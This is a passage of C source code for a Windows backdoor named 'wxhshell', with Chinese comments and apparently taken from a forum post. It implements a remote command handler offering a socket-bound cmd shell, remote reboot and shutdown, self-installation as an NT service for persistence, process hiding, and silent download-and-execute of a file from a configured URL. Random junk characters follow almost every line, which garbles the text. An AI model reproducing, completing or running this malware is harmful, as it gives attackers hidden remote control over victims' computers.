  } |iBf6smF  
  else { F{ vT^/  
UQh.o   
    switch(cmd[0]) { 8h|}Q_  
  (&Q!5{$W  
  // 帮助 uQ[,^Ee&/  
  case '?': { 420K6[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }\8-&VoY#X  
    break; 6o6yx:  
  } |/l] ]+  
  // 安装 By7lSbj  
  case 'i': { {N{eOa<HA  
    if(Install()) (oy@j{G)c6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *: FS/ir  
    else LNk :PD0m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !+@70|gFF  
    break; ~YW;'  
    } B!quj!A  
  // 卸载 <`vXyPA6  
  case 'r': { Y9#dAI[Gce  
    if(Uninstall()) {e2ZW]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MNe/H\  
    else RE4#a 2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RF2I_4  
    break; 7oIHp_Zq  
    } "u~` ZV(  
  // 显示 wxhshell 所在路径 k^K76mB  
  case 'p': { o ?05bv  
    char svExeFile[MAX_PATH]; gfAWN  
    strcpy(svExeFile,"\n\r"); S m=ln)G=  
      strcat(svExeFile,ExeFile); \^y~w~g?  
        send(wsh,svExeFile,strlen(svExeFile),0); X}3?k<m  
    break; v:74iB$i/C  
    } ynMYf  
  // 重启 OMjPC_  
  case 'b': { Zi}h\R a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AtHkz|sl  
    if(Boot(REBOOT)) O zC%6;6h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|$HA>F[  
    else { Er@xrhH  
    closesocket(wsh); _/P;`@  
    ExitThread(0); "\;n t5L  
    } =m (u=|N3  
    break; 0k\,z(e  
    } kP('X/  
  // 关机 M+ <SSi"  
  case 'd': { ^5~x*=_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FYC]^D  
    if(Boot(SHUTDOWN)) E3S0u7 Es  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); snkMxc6c[  
    else { s@%>  
    closesocket(wsh); SbL7e#!!  
    ExitThread(0); X04LAYY_u  
    } $/Q\B(X3  
    break; dVLrA`'P*  
    } mz<,nR\  
  // 获取shell p8.JJt^  
  case 's': { a|t{1]^w`  
    CmdShell(wsh); K`X'Hg#_P2  
    closesocket(wsh); zD8$DG8  
    ExitThread(0); n'pJl  
    break; ON!Fk:-  
  } @ kv~2m  
  // 退出 INk|NEX  
  case 'x': { o%lxEd r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DU*qhW`X  
    CloseIt(wsh); PK&&Vu2M  
    break; NzhWGr_x'  
    } 2'W# x  
  // 离开 q%A>q ;l:  
  case 'q': { $1s>efP-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); HXdo:#xEO  
    closesocket(wsh); /u]#dX5  
    WSACleanup(); =$^}"}$  
    exit(1); M54czo=l  
    break; ZK2&l8  
        } L* 6<h  
  } ^P [#YO  
  } A`(Cuw-o  
6yYd~|T.Fl  
  // 提示信息 .pl,ujv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @*6_Rp"@  
} 8>vNa  
  } {uZ|Oog(p  
%O[1yZh \  
  return; {4[dHfIy  
} ^ -~=U^2tC  
cyjgi /Z  
// shell模块句柄 i[.7 8K-s  
int CmdShell(SOCKET sock) SZtSUt(ss  
{ jL 3 *m  
STARTUPINFO si; '_K`1&#U  
ZeroMemory(&si,sizeof(si)); D"fjk1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k{Y\YG%b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $OGMw+$C ^  
PROCESS_INFORMATION ProcessInfo; @#o 7U   
char cmdline[]="cmd"; n@C#,v#^0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1UrkDz?X  
  return 0; 91a);d  
} i6;rh-M?.  
/K+;HAUTn  
// 自身启动模式 XCn;<$3w  
int StartFromService(void) ~Lu,jLKL=[  
{ e+2lus,u6t  
typedef struct ~<Wa$~oY  
{ +Ezl.O@z  
  DWORD ExitStatus; I(j{D>v  
  DWORD PebBaseAddress; l.}gWN9-  
  DWORD AffinityMask; -biw{  
  DWORD BasePriority; /@&uaw  
  ULONG UniqueProcessId; =3V4HQi  
  ULONG InheritedFromUniqueProcessId; wt_ae|hv  
}   PROCESS_BASIC_INFORMATION; {JKG-0)z?  
oOXJ7 |n  
PROCNTQSIP NtQueryInformationProcess; @ K2Ncb7  
= K`]cEL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I;$tBgOWq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !+ UXu]kA  
eIP k$j{e  
  HANDLE             hProcess; x< d ew  
  PROCESS_BASIC_INFORMATION pbi; :}SR{}]yXs  
% 1<@p%y/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mcd K!V  
  if(NULL == hInst ) return 0; ]8cD,NS  
F?y C=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r|3u]rt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VWCC(YRU|$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;gRPTk$X3  
|NjyO>@Pa  
  if (!NtQueryInformationProcess) return 0; wlP% U  
e6T?2`5P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lL'K1%{+ \  
  if(!hProcess) return 0; H3JDA^5  
Ut2x4$9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QYBLU7  
bX%4[BKP  
  CloseHandle(hProcess); eo"XHP7ja  
&Fmen;(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OXoEA a  
if(hProcess==NULL) return 0; dsK ^-e6:5  
pG/g  
HMODULE hMod; O=1 #KNS  
char procName[255]; aJ]t1  
unsigned long cbNeeded; ^#7&R"  
q| *nd!y'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]zvOM^l~  
xkaed  
  CloseHandle(hProcess); 7tY~8gQel  
itO1ROmu  
if(strstr(procName,"services")) return 1; // 以服务启动 <%`z:G3  
P[ Vf$ q<  
  return 0; // 注册表启动 7 :u+-U  
} yN}<l%  
$T2zs$  
// 主模块 I =K<%.  
int StartWxhshell(LPSTR lpCmdLine) MY&?*pV)  
{ Lg6>\Z4  
  SOCKET wsl; vZSwX@0  
BOOL val=TRUE; qMBEJ<o  
  int port=0; \5) ZI'q  
  struct sockaddr_in door; xz/G$7q7  
5pE@Ww  
  if(wscfg.ws_autoins) Install(); .Ag)/Xm(?  
Vf(n  
port=atoi(lpCmdLine); }-WuHh#  
wmX *n'l  
if(port<=0) port=wscfg.ws_port; \FyHIs  
3\P/4GK)  
  WSADATA data; YdAC<,e&A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ".fnx8v,  
00A2[gO9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vmtmiN8;d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LFQP ysC  
  door.sin_family = AF_INET; DJNM =v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6rAenK-%  
  door.sin_port = htons(port); Y3luU&'  
q +c~Bd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Fw"x4w  
closesocket(wsl); `+WQ^dP@  
return 1; 4wwRNu*  
} PF;`mdi-,  
ZpU4"x>  
  if(listen(wsl,2) == INVALID_SOCKET) { ?eR^\-e  
closesocket(wsl); 'p'nAB''!  
return 1; S3 /Z]?o  
} 2FTJxSC  
  Wxhshell(wsl); ;cWFh4_  
  WSACleanup(); p:|p?  
of.=n  
return 0; \OF"hPq  
2wZyUB;  
} /vFdhh  
]<E\J+5K  
// 以NT服务方式启动 *IC9))PGJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bd.t|A  
{ cU=EXyP%  
DWORD   status = 0; W#<ZaGsq  
  DWORD   specificError = 0xfffffff; :B4X/  
|Iq\ZX%q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,W;2A0A?X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y8O<_VOO}"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a 1pa#WC  
  serviceStatus.dwWin32ExitCode     = 0; }Xy<F?Mh  
  serviceStatus.dwServiceSpecificExitCode = 0; p4wXsOQ}  
  serviceStatus.dwCheckPoint       = 0; 5A"OL6ty  
  serviceStatus.dwWaitHint       = 0; ~FZ=  
'\Hh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U_Va'7  
  if (hServiceStatusHandle==0) return; sZ7BBJX2K  
v!?>90a  
status = GetLastError();  jQ?6I1o  
  if (status!=NO_ERROR) >PiEu->P,  
{ q\\52 :\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H9T'{R*FC  
    serviceStatus.dwCheckPoint       = 0; Z6r_T  
    serviceStatus.dwWaitHint       = 0; cH\.-5NQ  
    serviceStatus.dwWin32ExitCode     = status; L [7Aa"R  
    serviceStatus.dwServiceSpecificExitCode = specificError; u+vUv~4A6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IqmoWn3  
    return; 0N*~"j;r#M  
  } Yf,U2A\  
Y+#Vz IZw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _n_|skG  
  serviceStatus.dwCheckPoint       = 0; . [\S=K|/  
  serviceStatus.dwWaitHint       = 0; GbZqLZ0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pWXoJ0N  
} aUX.4#|%  
FOd)zU*L2  
// 处理NT服务事件,比如:启动、停止 =P<7tsSuoK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &p#.m"Oon  
{ N[AX]gOJ  
switch(fdwControl) Q>emyij  
{ ibskce{H  
case SERVICE_CONTROL_STOP: 8;]U:tv  
  serviceStatus.dwWin32ExitCode = 0; p_2-(n@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3)+}2  
  serviceStatus.dwCheckPoint   = 0; (y!<^ Q  
  serviceStatus.dwWaitHint     = 0; F2RU7o'f.  
  { :Sd iG=t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?Dk&5d^d  
  } u >o2lvy8  
  return; Mk@%Wuxg2  
case SERVICE_CONTROL_PAUSE: 0 lsX~d'W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7LY4q/  
  break; F%pYnHr<  
case SERVICE_CONTROL_CONTINUE: ht%:e?@i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !Wz%Hy:ZK  
  break; !r*Ogv[  
case SERVICE_CONTROL_INTERROGATE: \sZ!F&a~  
  break; 0(!D1G{ul  
}; ;y"q uJ'O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A296 f(  
} 8P= z"y  
N v,Yikf  
// 标准应用程序主函数 qkN{l88  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t1)Qa(#]  
{ D|p`~(  
2-*zevPiG=  
// 获取操作系统版本 Jx8?x#}  
OsIsNt=GetOsVer(); ~4fjFo&_\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y^-faL7*\  
Cj x(Z]  
  // 从命令行安装 NiQ_0Y}  
  if(strpbrk(lpCmdLine,"iI")) Install(); BHh%3Q  
jNa'l<dn]  
  // 下载执行文件 @] ` _+\y  
if(wscfg.ws_downexe) { 9,`eYAu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,KHebv!  
  WinExec(wscfg.ws_filenam,SW_HIDE); \]eB(&nq  
} OZ6g u$ n*  
B2PjS1z2  
if(!OsIsNt) { HG/`5$L +}  
// 如果时win9x,隐藏进程并且设置为注册表启动 S~mpXH@  
HideProc(); )ieT/0nt  
StartWxhshell(lpCmdLine); b xT|  
} IP E2t  
else ah\yw  
  if(StartFromService()) A[@xTq s{{  
  // 以服务方式启动 ir%?J&C+t  
  StartServiceCtrlDispatcher(DispatchTable); tGcp48R-:+  
else w{1DwCLKq  
  // 普通方式启动 MwN.Ll  
  StartWxhshell(lpCmdLine); B~oc.s g  
Lgh. 1foK  
return 0; 5P'<X p  
}
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只看该作者 1 发表于: 2006-10-10
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